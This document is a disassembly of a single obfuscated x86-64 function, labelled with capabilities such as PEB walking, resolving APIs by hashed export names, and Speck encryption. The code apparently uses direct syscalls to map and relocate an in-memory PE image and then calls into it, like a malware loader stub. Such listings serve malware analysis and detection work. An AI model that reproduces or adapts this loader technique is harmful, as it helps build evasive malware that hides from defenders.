Function at 0x14043cdf7
Capabilities:
Access peb ldr_data
Encrypt data using speck
Get kernel32 base address
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
test di, 0x516d
push r14
push r13
stc
push r12
jmp 0x14043ce0a
push rsi
push rdi
test rsi, rdx
push rbp
cmp bpl, 0x34
stc
push rbx
cmc
test ah, 0xc4
sub rsp, 0x78
cmp qword [0x1400dd010], 0
jmp 0x14043ce2b
je 0x14043ce80
xor eax, eax
lea rcx, [section.WYEikQx0]
cmp spl, 0x70
test r13b, 0x77
nop word cs:[rax + rax]
xor r15, rax
ror r15b, cl
bt r15, 0x3e
lea r15, [rax + 0x10]
jmp 0x14043ce67
cmp qword [rax + rcx + 0x20], 0
mov rax, r15
jmp 0x14043ce75
jne 0x14043ce5a
jmp 0x14043ce92
xor r15d, r15d
test dil, 0x81
sar r8w, cl
sbb r12, 0x71705320
movabs r12, 0xcbf29ce484222325
or r8d, esi
movabs r13, 0x1d12a89b9e723ff5
neg r10w
not r8b
mov rcx, qword gs:[0x30]
stc
btc r10w, 0xba
cmovnp r10, rdx
mov rcx, qword [rcx + 0x60]
mov r10, qword [rcx + 0x18]
add r10, 0x10
cmovs r8w, r13w
movsx r8w, spl
movsxd r8, eax
movabs r8, 0x2cc10c8855a9a8cd
jmp 0x14043ceec
jmp 0x14043ceff
cmp rbx, r8
jmp 0x14043cef9
je 0x14043cfed
mov r10, qword [r10]
sal r9b, cl
sub r9b, r11b
add r9w, 0x1f8f
mov r9, qword [r10 + 0x30]
test esi, r8d
test r9, r9
jmp 0x14043cf1d
je 0x14043d253
mov r11, qword [r10 + 0x60]
mov rdi, 0xffffffffffffffff
cmp word [r11 + rdi*2 + 2], 0
jmp 0x14043cf3a
lea rdi, [rdi + 1]
jmp 0x14043cf43
jne 0x14043cf2e
mov rbx, r12
clc
stc
test rdi, rdi
jmp 0x14043cf56
je 0x14043cef1
xor ecx, ecx
or bp, 0x960
ror bpl, cl
mov rdx, r12
rcl al, cl
sar bpl, 0x62
rcr ax, 4
nop word [rax + rax]
shr sil, 0xcb
bsr rbx, r11
movzx ebx, r10w
movzx ebx, word [r11 + rcx*2]
lea ebp, [rbx - 0x41]
sal ax, 0xc5
rcr al, 0x63
lea esi, [rbx - 0x410]
lea eax, [rbx + 0x20]
cmp si, 0x20
jmp 0x14043cfa6
cmovb ebx, eax
cmp bh, 0x48
cmp bp, 0x1a
jmp 0x14043cfb5
cmovb ebx, eax
cmc
movzx ebx, bx
cmc
xor rbx, rdx
movsxd rdx, esp
imul rbx, r13
inc dl
movzx dx, r15b
dec dh
inc ecx
neg dx
rol edx, cl
mov rdx, rbx
cmp rcx, rdi
jmp 0x14043cfe2
jb 0x14043cf85
jmp 0x14043cef1
test r10, r10
je 0x14043d253
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
lea rcx, [r9 + rax]
adc rdx, 0x11800697
ror dh, 0xd7
mov dl, 0x1e
test rax, rax
xchg dh, dl
cmove rcx, rax
ror dx, 0x73
cdq
btc dx, r8w
mov qword [rsp + 0x38], rcx
movsxd rdx, edx
mov rdx, rbx
mov edx, dword [rcx + 0x18]
test edx, edx
je 0x14043d253
mov rax, qword [rsp + 0x38]
bt r8, rsp
bsr r10, rbp
sub r8d, eax
mov ecx, dword [rax + 0x20]
lea rcx, [rcx + r9]
and r8b, dl
movzx r8d, bx
mov qword [rsp + 0x40], rcx
and r8b, 0x9b
movsx r8w, r13b
bts r8d, r10d
mov r10d, dword [rax + 0x24]
neg r8b
lea r10, [r10 + r9]
bts r8d, ecx
xchg r8, r8
btc r8w, 0x23
mov r8d, dword [rax + 0x1c]
add r8, r9
jmp 0x14043d08f
sub edi, edi
jmp 0x14043d096
jmp 0x14043d0bd
mov edx, dword [rsp + 0x20]
inc ax
nop
inc rdi
shr ah, cl
mov eax, edx
cmp r11b, r12b
cmc
cmp rdi, rax
jmp 0x14043d0b7
jae 0x14043d253
movzx ecx, word [r10 + rdi*2]
movsx bx, r9b
mov ebx, dword [r8 + rcx*4]
cmp dword [r9 + rbx], 0xb8d18b4c
jmp 0x14043d0d8
jne 0x14043d0a4
mov dword [rsp + 0x20], edx
stc
sbb sil, 0xa3
mov rax, qword [rsp + 0x40]
mov esi, dword [rax + rdi*4]
ror bpl, cl
mov bpl, cl
add rsi, r9
rcr bpl, cl
cmovns ebp, r15d
mov rbp, 0xffffffffffffffff
test bpl, 0x7a
clc
nop dword [rax + rax]
jmp 0x14043d115
cmp byte [rsi + rbp + 1], 0
jmp 0x14043d11f
lea rbp, [rbp + 1]
jmp 0x14043d128
jne 0x14043d115
mov rcx, r12
cmp esp, 0x70011007
test rbp, rbp
jmp 0x14043d13f
je 0x14043d1c8
xor r14d, r14d
shr rdx, 0xb2
mov r11, r12
shr edx, 0x7b
nop dword [rax]
rol al, 0xf0
movzx ecx, byte [rsi + r14]
lea edx, [rcx - 0x41]
lea eax, [rcx + 0x20]
cmp r14d, r15d
jmp 0x14043d16f
cmp dl, 0x1a
jmp 0x14043d177
movzx eax, al
jmp 0x14043d17f
cmovae eax, ecx
adc cx, r14w
bt rcx, r13
sar cl, cl
movsx rcx, al
test dil, r13b
xor rcx, r11
rol r11b, cl
test rsi, 0x7a5a67f2
imul rcx, r13
dec r11w
inc r14d
cmp r12b, 0xac
xor r11w, r15w
mov r11, rcx
cmp r10b, 0x38
cmp r14, rbp
jmp 0x14043d1c2
jb 0x14043d15c
mov rsi, qword [0x1400dd010]
test rsi, rsi
jmp 0x14043d1d7
je 0x14043d09b
lea rbp, [0x1400dd020]
nop word cs:[rax + rax]
cmp sp, 0x4001
cmp rsi, rcx
jmp 0x14043d200
je 0x14043d229
mov rsi, qword [rbp]
cmp r13b, spl
test r9, r9
clc
add rbp, 0x10
cmp dil, 0xfe
clc
stc
test rsi, rsi
jne 0x14043d1f8
jmp 0x14043d09b
mov eax, dword [rbx + r9 + 4]
movsx edx, di
cdq
mov dword [rbp - 8], eax
movsxd rax, edx
cbw
cqo
mov rax, qword [rsp + 0x38]
movsxd rdx, ebx
cwd
mov edx, dword [rax + 0x18]
jmp 0x14043d24e
jmp 0x14043d0a4
test r15, r15
jmp 0x14043d25b
je 0x14043d2f6
xor ebp, ebp
shl dh, cl
btc bx, 0xa5
lea rbx, [section.WYEikQx0]
mov rcx, r12
not edx
cqo
and rdx, 0x13046903
nop dword [rax]
add dh, 0x8f
sal dl, 0x24
setnp dl
movzx edx, byte [rbp + rbx + 0x10]
xor rcx, rdx
cmp r8b, 0xf7
cmc
imul rcx, r13
jmp 0x14043d2a1
inc ebp
cmp bl, al
cmc
cmp r15w, 0x491
cmp rbp, r15
jb 0x14043d28b
movabs rdx, 0xe9203a08b69f42e8
stc
clc
add rcx, rdx
movzx rdx, r9w
movabs rdx, 0x52aea00e8a0b3911
cmc
test r10d, r9d
xor rdx, rcx
movabs rcx, 0xee16cad6b000daab
stc
jmp 0x14043d2ee
add rcx, rdx
jmp 0x14043d306
movabs rcx, 0xd5d341ba60cb39c7
movsx eax, bp
rol eax, 3
rol rcx, 0x16
movsx ax, r8b
cmp r9w, 0x488f
rcl ax, cl
movabs rax, 0x957b6a83b7a0090f
jmp 0x14043d327
xor rax, rcx
movabs rcx, 0xec0e237d69308474
cmp dl, r12b
jmp 0x14043d33c
add rcx, rax
mov qword [0x1400b7208], rcx
test dx, 0x7fd0
cmp qword [0x1400de010], 0
jmp 0x14043d358
je 0x14043d392
sub ecx, ecx
jmp 0x14043d369
lea rdx, [section.BwAgLax1]
nop
rcr ah, 0xa2
lea rax, [rcx + 0x10]
cmp qword [rcx + rdx + 0x20], 0
mov rcx, rax
jmp 0x14043d387
jne 0x14043d375
jmp 0x14043d398
sub eax, eax
cmp sil, 0x6e
mov qword [rsp + 0x60], rax
sub ecx, ecx
jmp 0x14043d3a4
jmp 0x14043d3bf
mov rcx, qword [rsp + 0x30]
inc rcx
cmc
test spl, r12b
cmp rcx, 8
je 0x14043d789
lea rax, [0x1400bfdf0]
movzx r8w, bl
movzx r10, r8w
bts r8d, r11d
mov qword [rsp + 0x30], rcx
movzx r10w, bl
mov r8, qword [rax + rcx*8]
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov r10, qword [rax + 0x18]
add r10, 0x10
jmp 0x14043d409
cmp rdx, r8
jmp 0x14043d403
je 0x14043d4f6
mov r10, qword [r10]
rol r11b, 0x24
mov r11, qword [r10 + 0x30]
clc
test r11, r11
jmp 0x14043d41d
je 0x14043d3a9
mov r14, qword [r10 + 0x60]
rcl ebx, cl
or bl, 0x69
shld rbx, rax, 0xa8
mov rbx, 0xffffffffffffffff
nop dword [rax]
stc
cmp word [r14 + rbx*2 + 2], 0
lea rbx, [rbx + 1]
jmp 0x14043d44d
jne 0x14043d43d
mov rdx, r12
test bh, cl
cmp ebp, 0x5a527691
cmp ebx, r8d
test rbx, rbx
je 0x14043d3fb
xor ecx, ecx
shr si, cl
mov rdi, r12
nop word [rax + rax]
movzx eax, word [r14 + rcx*2]
or edx, r10d
shl sil, 0x92
test bpl, 0x6c
lea edx, [rax - 0x41]
ror sil, 0xf8
xor rbp, 0x5ae412e8
stc
lea esi, [rax - 0x410]
shr rbp, 0x74
sub bpl, 0x60
cmp dx, sp
lea ebp, [rax + 0x20]
cmc
cmp si, 0x20
jmp 0x14043d4b5
cmovb eax, ebp
cmc
cmp r14b, r12b
cmp dx, 0x1a
cmovb eax, ebp
movzx edx, ax
xor rdx, rdi
imul rdx, r13
mov rdi, 0x3d4652a7
movsxd rdi, ebp
inc ecx
neg dil
mov rdi, rdx
test rdi, 0x486118af
clc
cmc
cmp rcx, rbx
jb 0x14043d478
jmp 0x14043d3fb
test r10, r10
je 0x14043d3a9
movzx eax, word [r11]
cmp ch, 0x8c
cmp eax, 0x5a4d
jmp 0x14043d510
jne 0x14043d54e
movsxd rax, dword [r11 + 0x3c]
test r10, rdx
lea rcx, [r11 + rax]
cmp dword [r11 + rax], 0x4550
movsxd rax, r12d
cdqe
cmovbe rax, r13
cmove r9, r11
mov rax, qword [rsp + 0x58]
jmp 0x14043d540
cmove rax, rcx
jmp 0x14043d549
jmp 0x14043d566
mov rax, qword [rsp + 0x58]
test r8, 0x271d3488
btc rbp, 0x8e
mov rbp, 0x4f8d768e
mov qword [rsp + 0x58], rax
btc bp, r9w
jmp 0x14043d575
mov ecx, dword [rax + 0x88]
bt ebp, esi
bswap ax
lea rax, [r9 + rcx]
xor rbp, 0x3b0e4bf4
test rcx, rcx
movzx ebp, r14w
movsx ebp, r15w
cmove rax, rcx
clc
mov ebp, dword [rax + 0x18]
cmp al, 0x2e
clc
test ebp, ebp
jmp 0x14043d5a9
je 0x14043d3a9
mov r14d, dword [rax + 0x20]
add ecx, 0x2e060dda
add r14, r11
sar rcx, 0x58
mov cl, 0xbb
mov ecx, dword [rax + 0x24]
test dx, di
add rcx, r11
jmp 0x14043d5d0
mov qword [rsp + 0x40], rcx
stc
mov qword [rsp + 0x20], rax
mov eax, dword [rax + 0x1c]
add rax, r11
mov qword [rsp + 0x38], rax
cmp r15, rdx
sub esi, esi
jmp 0x14043d65b
mov rax, qword [rsp + 0x40]
rol bp, 0x48
movzx ebp, si
movzx eax, word [rax + rsi*2]
sbb bpl, 0x39
movzx dx, r12b
mov rdx, qword [rsp + 0x38]
mov eax, dword [rdx + rax*4]
xor bp, 0x7d08
jmp 0x14043d61b
add rax, r11
mov qword [rcx - 8], rax
movzx ebp, bx
mov rax, qword [rsp + 0x20]
mov ebp, dword [rax + 0x18]
movsx ax, r10b
mov ah, 0xc4
movzx ax, dil
inc rsi
shld eax, edi, 0x27
sar ax, cl
movzx rax, r9w
mov eax, ebp
test dl, dil
cmp rsi, rax
jmp 0x14043d655
jae 0x14043d3a9
mov r8d, dword [r14 + rsi*4]
movsx rbx, bx
and bl, 0x13
movzx bx, r14b
lea r8, [r8 + r11]
sub ebx, 0x6b203467
mov rbx, 0xffffffffffffffff
jmp 0x14043d681
nop dword [rax]
cmp byte [r8 + rbx + 1], 0
jmp 0x14043d690
lea rbx, [rbx + 1]
jmp 0x14043d699
jne 0x14043d685
mov r10, r12
test rbx, rbx
je 0x14043d72d
sub ecx, ecx
shrd r10d, edi, 0x59
mov r15, r12
xor dl, 0x5e
bt r10w, 0x14
ror r10w, cl
nop dword [rax]
movzx edi, byte [r8 + rcx]
bsr r10w, r13w
bsf eax, eax
ror dl, cl
lea eax, [rdi - 0x41]
add r10w, 0x4376
lea edx, [rdi + 0x20]
stc
mov r10b, 0x1e
cmp al, 0x1a
xchg r10b, r10b
movsxd rax, edi
movzx eax, dl
movsx r10, r14w
cmovae eax, edi
or r10b, 0x93
and r10b, 0x23
test r12d, r8d
movsx r10, al
clc
cmp ax, r13w
stc
xor r10, r15
imul r10, r13
inc ecx
mov r15, r10
cmp bh, 0xfb
cmc
cmp rcx, rbx
jmp 0x14043d727
jb 0x14043d6c9
mov rbx, qword [0x1400de010]
clc
test r13w, 0x7cb2
test rbx, rbx
jmp 0x14043d743
je 0x14043d63a
lea rcx, [0x1400de020]
cmp r15w, 0x4fe1
nop dword [rax + rax]
cmp rdx, r8
cmp rbx, r10
jmp 0x14043d766
je 0x14043d5f0
mov rbx, qword [rcx]
test al, r9b
add rcx, 0x10
test rbx, rbx
jmp 0x14043d77e
jne 0x14043d75e
jmp 0x14043d63a
mov rax, qword [rsp + 0x60]
test rax, rax
jmp 0x14043d796
je 0x14043d7f3
sub ecx, ecx
ror bpl, cl
and bpl, r15b
lea rbp, [section.BwAgLax1]
or edx, r14d
add dl, sil
shl dx, 3
nop dword [rax]
movzx edx, byte [rcx + rbp + 0x10]
jmp 0x14043d7c4
xor rdx, r12
imul rdx, r13
not r12w
movsx r12, di
inc ecx
ror r12, cl
mov r12, rdx
clc
cmp r10w, r11w
cmp eax, 0x9f361c
cmp rcx, rax
jb 0x14043d7b8
jmp 0x14043d7ff
mov rdx, r12
stc
bts ecx, r15d
bt eax, 0x24
rol rdx, 0xb
bsr ecx, edi
sub cl, r10b
movabs rax, 0xdf7ad2359957b5f4
sbb ecx, 0x3969653e
add rax, rdx
setne ch
movzx ecx, dx
rcl ch, cl
rol rax, 0x16
shl cx, cl
add cl, dil
movabs rcx, 0x4934245b3ce013cf
cmp rdx, 0x14237313
xor rcx, rax
clc
cbw
movabs rax, 0x5b5c0083c64fa867
stc
cmp r15b, 0x28
test edi, r9d
add rax, rcx
stc
movsxd rcx, r13d
rol rax, 0xc
shld ecx, ecx, 7
movabs rcx, 0xdd5421de87040723
jmp 0x14043d878
add rcx, rax
bt ax, 0x30
rol rcx, 0x25
adc ax, di
mov qword [0x1400b7210], rcx
rol al, cl
sar eax, 0xa6
mov eax, dword [0x7ffe0014]
mov dword [0x1400b8eb8], eax
or cl, 0x9d
xor cl, r9b
movzx ecx, word [0x140000000]
cmp dh, 0xa6
stc
cmp ecx, 0x5a4d
jmp 0x14043d8bc
jne 0x14043d914
movsxd rcx, dword [0x14000003c]
neg rdx
lea rdx, [0x140000000]
cmc
stc
clc
cmp dword [rcx + rdx], 0x4550
jmp 0x14043d8e2
jne 0x14043d914
lea rbx, [rcx + rdx]
shld r13, rsi, 0x4b
movzx r9, bp
neg r9w
lea r14, [rcx + rdx]
add r14, 0x108
cmp rsi, 0x69d538b2
shl ecx, 0x6c
and ebp, 0x6f42581c
imul eax, eax, 0x41c64e6d
add eax, 0x3039
imul ecx, eax, 0x41c64e6d
mov r9w, 0x191c
movzx r12d, r8w
cmovo r9d, ecx
shr eax, 0x10
xor dx, 0x7537
or r12w, r10w
sub r9b, 0xc
lea edx, [rax + rax*2]
btr r12w, 0xb8
inc r10d
shrd r12, rbx, 0
shr edx, 0x10
mov ebp, eax
btc r13w, 0x3a
movzx r9, r11w
cmc
sub ebp, edx
mov r10d, r8d
add r10w, 0x539c
movzx ebp, bp
dec r9b
bswap r13w
shr ebp, 1
test r9b, r15b
rcl r9b, cl
add ebp, edx
sal r13w, cl
adc r9b, cl
movzx r13d, bp
rol r10w, 0xc4
shr r13d, 0xe
xchg r10, r12
cdq
sal dh, 0x73
add r13d, eax
stc
or al, dil
bswap r9w
and r13d, 0x3fff
btc r12w, r13w
rcl ax, 0xae
add r13d, 0xfff
and r13d, 0x7000
btr edx, 0
add ecx, 0x3039
rcr r12b, 0x82
shr r9b, 0x67
mov dword [0x1400b8eb8], ecx
xor r12b, r15b
rol dh, 0xb5
shr ecx, 0x10
bts r12w, r12w
or r10b, r9b
lea eax, [rcx + rcx*2]
shr eax, 0x10
neg dl
mov edx, ecx
movzx r10d, r15w
shr r12b, cl
sub edx, eax
btc r10, 0xf6
dec r9b
movzx edx, dx
shr edx, 1
shld r12w, r8w, 0xe6
add edx, eax
lahf
movzx r12d, dx
btc r9w, r9w
bts r9w, r15w
bt eax, ecx
shr r12d, 0xe
adc ax, ax
bts eax, r9d
add r12d, ecx
movsx rdx, r8w
not ah
and r12d, 0x3fff
cdqe
rcl edx, cl
bsf ax, r9w
add r12d, 0xfff
rcr r9, 0xcf
xor dh, 0xd3
and r12d, 0x7000
mov qword [rsp + 0x28], 0
rcr ch, 0x30
bts r9w, r12w
cwde
mov qword [rsp + 0x20], rbx
mov ecx, dword [rbx + 0x50]
ror dh, cl
add rcx, r12
rol dx, cl
cbw
xadd r10w, dx
add rcx, r13
mov qword [rsp + 0x48], rcx
btc r10, 0x67
mov eax, dword [0x1400dd078]
bts r9w, r8w
and r9b, al
cmovo r9d, ebx
lea rdx, [rsp + 0x28]
lea r9, [rsp + 0x48]
mov r10, 0xffffffffffffffff
cmp bpl, 0x3e
xor r8d, r8d
sub rsp, 0x40
jmp 0x14043dacb
mov qword [rsp + 0x28], 0x3000
mov qword [rsp + 0x30], 4
jmp 0x14043dae2
syscall
add rsp, 0x40
jmp 0x14043daef
mov rcx, qword [rsp + 0x28]
btc r8, 0xf0
clc
shrd r8d, r12d, 0x2c
mov r8, qword [rsp + 0x48]
cmp r9b, bl
jmp 0x14043db0c
sub edx, edx
jmp 0x14043db13
call fcn.14049e97b
mov r15, qword [rsp + 0x28]
test r13d, r13d
jmp 0x14043db25
je 0x14043dd7e
mov rcx, r13
shr rcx, 3
cmp rcx, 2
jmp 0x14043db40
mov r8d, 1
cmovae r8, rcx
bswap ebp
sal dil, cl
rcr bh, cl
sub r9d, r9d
nop word cs:[rax + rax]
imul edx, dword [0x1400b8eb8], 0x41c64e6d
cmovs bp, r11w
add edx, 0x3039
imul edi, edx, 0x41c64e6d
mov ebp, edx
shr ebp, 0x10
shrd edx, r12d, 0x19
xadd sil, al
lea edx, [rbp + rbp*2]
btc rcx, 0x52
shr edx, 0x10
cmovs ax, dx
shld si, sp, 0x62
mov eax, ebp
add esi, r15d
cmc
shrd bx, r12w, 0x53
sub eax, edx
sub si, r9w
movzx eax, ax
sar rsi, cl
shr eax, 1
xchg si, bx
cmc
movzx cx, r11b
add eax, edx
add edi, 0x3039
cwd
movzx edx, ax
mov eax, edi
movzx rbx, sp
bsf esi, ebx
movsx cx, r10b
shr eax, 0x10
not ch
cmp dh, al
lea ebx, [rax + rax*2]
dec esi
movsx rsi, r11w
movsxd rsi, r9d
shr edx, 0xe
movsx si, r12b
rcr sil, cl
shrd cx, r11w, 0x19
shr ebx, 0x10
cmp ch, 6
shr ch, cl
mov esi, eax
movsx ecx, r15w
sub esi, ebx
sbb cl, 0x99
inc cx
movsx rcx, r12w
mov ecx, edx
cmp r13b, 0x72
movzx esi, si
cmp r8w, 0x7c90
shr esi, 1
add esi, ebx
clc
xadd bx, bx
shl ecx, 0xf
bts bx, r9w
sub ebx, r8d
movzx ebx, si
movsxd rsi, eax
shr ebx, 0xe
mov esi, ebx
sub edx, ecx
cmp bpl, r10b
movsx ecx, r8w
shl esi, 0xf
xchg cx, cx
sub ebx, esi
add ebx, eax
add edx, ebp
btc rcx, r10
test r10w, di
sub ebp, ebp
btc cx, 0xe9
bswap ax
rcl al, 0x36
cmp bx, 0x10
cdqe
jmp 0x14043dc7f
setb bpl
sal ah, 0x40
shr ax, cl
imul eax, edi, 0x41c64e6d
bts di, r10w
add eax, 0x3039
btc edi, 0x76
imul ecx, eax, 0x41c64e6d
mov dil, 0xcf
adc di, bp
shr eax, 0x10
neg bx
sal dil, cl
add dil, r13b
lea ebx, [rax + rax*2]
shr ebx, 0x10
stc
sbb di, 0x35e
cmovnp di, r14w
mov edi, eax
sub edi, ebx
movzx edi, di
clc
cmp r15, r15
test esp, 0x32715a9
shr edi, 1
cmc
jmp 0x14043dce3
add edi, ebx
movzx edx, dx
movzx ebx, di
shl dil, cl
btr di, sp
shr ebx, 0xe
ror rdi, 0x7d
and dil, r15b
mov edi, ebx
cmp ebp, 0x6e813332
test r15b, 0x36
cmc
or rbp, rdx
cmc
cmp r12b, 0x58
stc
shl edi, 0xf
sub ebx, edi
jmp 0x14043dd1c
add ebx, eax
clc
jmp 0x14043dd24
add ecx, 0x3039
cmp r8w, r8w
stc
test edi, 0x1c95361f
sub eax, eax
and al, 0x9b
ror al, cl
cmp bx, 0x20
not al
setb al
jmp 0x14043dd49
mov dword [0x1400b8eb8], ecx
test sp, r10w
test sil, 0x66
or rax, rbp
jmp 0x14043dd5f
mov qword [r15 + r9*8], rax
jmp 0x14043dd68
inc r9
cmp r8, r9
jmp 0x14043dd73
jne 0x14043db5e
mov r15, qword [rsp + 0x28]
test r12, r12
jmp 0x14043dd86
je 0x14043dfeb
sub r15, r12
ror al, cl
shr dh, cl
or dx, 0x4a1c
add r15, qword [rsp + 0x48]
test dx, r9w
sar rbx, cl
shr cl, 0x93
shr r12, 3
bswap r8w
cmp r12, 2
movzx cx, r13b
cdq
mov r8d, 1
cwd
cmovl esi, r11d
jmp 0x14043ddca
cmovae r8, r12
stc
sub r9d, r9d
nop
add dil, 0x15
bts cx, sp
sal rdx, cl
imul edx, dword [0x1400b8eb8], 0x41c64e6d
not bl
add edx, 0x3039
imul edi, edx, 0x41c64e6d
add al, r13b
mov ebp, edx
movsx esi, cx
sbb cl, bh
shr ebp, 0x10
sal rax, cl
ror ax, 0xc0
lea edx, [rbp + rbp*2]
stc
test r10b, dl
ror ebx, cl
shr edx, 0x10
dec si
test sp, 0x6b58
or al, dil
mov ebx, ebp
not ch
clc
movzx si, bpl
sub ebx, edx
movzx ebx, bx
shr ebx, 1
add ebx, edx
xor rsi, r15
add edi, 0x3039
mov cx, cx
movzx rsi, r12w
movzx edx, bx
mov ebx, edi
rcl cx, cl
and cl, r14b
shr ebx, 0x10
lea esi, [rbx + rbx*2]
shr edx, 0xe
shr esi, 0x10
movsx cx, bpl
adc rax, 0x75a15455
sub ch, 0xe0
mov eax, ebx
adc ch, dl
rcl ch, cl
sub eax, esi
bts cx, bp
cmp cx, 0x7df
mov ecx, edx
test r11d, r11d
movzx eax, ax
clc
jmp 0x14043de8b
shr eax, 1
clc
add eax, esi
test r9b, r9b
shl ecx, 0xf
adc sil, 0x9f
rcl sil, 0
movzx eax, ax
sbb sil, r13b
adc sil, bpl
bsr si, dx
shr eax, 0xe
mov sil, 0x13
sal sil, cl
mov esi, eax
test r11w, 0x5694
cmp dx, 0x7afe
sub edx, ecx
cmovp rcx, r10
jmp 0x14043ded1
shl esi, 0xf
sub eax, esi
adc cx, bp
add eax, ebx
btr ebx, 0xab
clc
shr bx, 0x47
add edx, ebp
rol cx, 0xcf
jmp 0x14043deef
xor ebp, ebp
sbb bpl, 0x21
cmp ax, 0x10
cdqe
not rax
cmovns cx, r11w
setb bpl
imul eax, edi, 0x41c64e6d
rcr bl, cl
xchg bl, ch
adc bx, bp
add eax, 0x3039
rcr rcx, 0x7a
add dil, sil
bts bx, r14w
imul ecx, eax, 0x41c64e6d
shr eax, 0x10
lea ebx, [rax + rax*2]
add di, 0x3ce1
shr ebx, 0x10
mov edi, eax
cmp r14b, r15b
clc
sub edi, ebx
movzx edi, di
test sil, r13b
jmp 0x14043df52
shr edi, 1
add edi, ebx
stc
inc bx
movzx edx, dx
add bh, dl
movzx ebx, di
shr ebx, 0xe
movsxd rdi, r10d
mov edi, ebx
test rdi, 0xa7f1d87
cmp r14b, dl
or rbp, rdx
clc
jmp 0x14043df7d
shl edi, 0xf
cmc
stc
sub ebx, edi
test di, 0x255b
cmc
add ebx, eax
cmp r15b, bl
add ecx, 0x3039
cmp cl, dil
test r14b, dil
clc
sub eax, eax
cmp bx, 0x20
setb al
cmp spl, r9b
test si, r15w
mov dword [0x1400b8eb8], ecx
cmp r10w, 0x1fb8
or rax, rbp
jmp 0x14043dfc0
mov qword [r15 + r9*8], rax
jmp 0x14043dfc9
inc r9
jmp 0x14043dfd2
cmp r8, r9
jmp 0x14043dfda
jne 0x14043dddf
mov r15, qword [rsp + 0x28]
adc al, ah
xor ax, r9w
mov rax, qword [rsp + 0x20]
clc
lea r15, [r15 + r13]
movzx eax, word [rax + 6]
test cl, bl
test rax, rax
je 0x14043e117
shl rax, 3
cwd
lea rbp, [rax + rax*4]
sub edi, edi
rol eax, cl
mov ebx, 4
sbb r13b, r10b
sar r8w, 0x43
lea rsi, [rsp + 0x70]
lea r12, [rsp + 0x68]
movsx rdx, r13w
rcl ax, cl
lea r13, [rsp + 0x54]
nop dword [rax + rax]
mov edx, dword [r14 + rdi + 0xc]
test r14b, 0x12
lea rcx, [r15 + rdx]
mov qword [rsp + 0x70], rcx
dec al
lea rax, [0x140000000]
add rdx, rax
movsx r8, bp
movsxd r8, edx
jmp 0x14043e064
mov r8d, dword [r14 + rdi + 8]
jmp 0x14043e06e
call fcn.14049decb
mov eax, dword [r14 + rdi + 8]
sar r10d, cl
mov qword [rsp + 0x68], rax
shr ax, 0x2a
rcr r9b, cl
mov dword [rsp + 0x54], 0
sar r10d, 0xa
test dword [r14 + rdi + 0x24], 0x20000000
rdtsc
mov r10w, r8w
mov r9d, 0x40
cmove r9d, ebx
cqo
adc r10d, 0x4a56277f
mov eax, dword [0x1400dd088]
btr dx, dx
bts r10w, cx
mov r8b, 0xdf
mov r10, 0xffffffffffffffff
xor r8d, 0x3cca30b7
mov rdx, rsi
ror r8w, 0x41
mov r8, r12
stc
sub rsp, 0x30
jmp 0x14043e0ea
mov qword [rsp + 0x28], r13
jmp 0x14043e0f4
syscall
add rsp, 0x30
test r15b, r15b
add rdi, 0x28
jmp 0x14043e10a
cmp ebp, edi
jmp 0x14043e111
jne 0x14043e03a
lea rdx, [0x140000000]
sbb sil, 0xca
cmp spl, 0x45
mov rax, r15
sub rax, rdx
mov rsi, qword [rsp + 0x20]
shl cx, 0xa5
bts ecx, r12d
mov ecx, dword [rsi + 0xb0]
test r9w, 0x1daf
add rcx, rdx
je 0x14043e23b
mov r8d, 1
jmp 0x14043e16f
mov ebx, dword [rcx + 4]
test cx, 0x1cd5
add rcx, rbx
jmp 0x14043e169
je 0x14043e23b
cmp dword [rcx], 0
jmp 0x14043e177
je 0x14043e23b
mov ebx, dword [rcx + 4]
test al, r13b
jmp 0x14043e188
test rbx, rbx
jmp 0x14043e190
je 0x14043e23b
lea rbp, [rbx - 8]
cmp rbp, 2
jb 0x14043e161
shr rbp, 1
test sp, 0x2cc4
stc
cmp rbp, 2
jmp 0x14043e1b6
cmovb rbp, r8
clc
sub ebx, ebx
jmp 0x14043e1fd
and edi, 0xfff
dec rdx
cdq
inc dh
mov edx, dword [rcx]
test r12b, 0x90
cmp rbx, r14
lea rdi, [rdi + r15]
jmp 0x14043e1e3
add qword [rdx + rdi], rax
jmp 0x14043e1ec
inc rbx
cmp rbp, rbx
jmp 0x14043e1f7
je 0x14043e159
movzx edi, word [rcx + rbx*2 + 8]
cmp edi, 0x1000
jmp 0x14043e20d
jb 0x14043e1ec
mov edx, edi
clc
shr edx, 0xc
cmc
cmp edx, 0xa
jmp 0x14043e222
je 0x14043e1c2
cmp edx, 3
jmp 0x14043e230
je 0x14043e1c2
jmp 0x14043e1ec
mov ecx, dword [rsi + 0xd0]
movq xmm0, rax
pshufd xmm0, xmm0, 0x44
movdqu xmm1, xmmword [r15 + rcx]
jmp 0x14043e256
movdqu xmm2, xmmword [r15 + rcx + 0x10]
paddq xmm1, xmm0
movdqu xmmword [r15 + rcx], xmm1
jmp 0x14043e26c
paddq xmm2, xmm0
movdqu xmmword [r15 + rcx + 0x10], xmm2
dec dh
shld dx, di, 0x1a
xor dh, 0x50
lea rdx, [0x14005d630]
ror ecx, 0x86
or cl, r11b
add rdx, rax
movsxd rcx, ebx
movzx ecx, r12w
movsx cx, dil
lea rcx, [0x140000000]
jmp 0x14043e2a9
call rdx
nop
xor bpl, al
bswap rsi
add rsp, 0x78
cmovl bx, si
movzx bp, bl
pop rbx
movsx r14, r14w
not r14w
movzx ebp, cx
pop rbp
not r12b
movsxd rdi, r9d
movsx r14d, bp
pop rdi
xchg rsi, r12
movzx r14, r11w
movsxd r12, edi
pop rsi
movzx r15, sp
mov r12b, 0xba
pop r12
cmovno r14, r10
bswap r15w
movzx r13, dx
pop r13
movsx r14, bx
mov r15b, 0xcb
movzx r14d, bp
pop r14
jmp 0x14043e30e
pop r15
jmp 0x14043e315
ret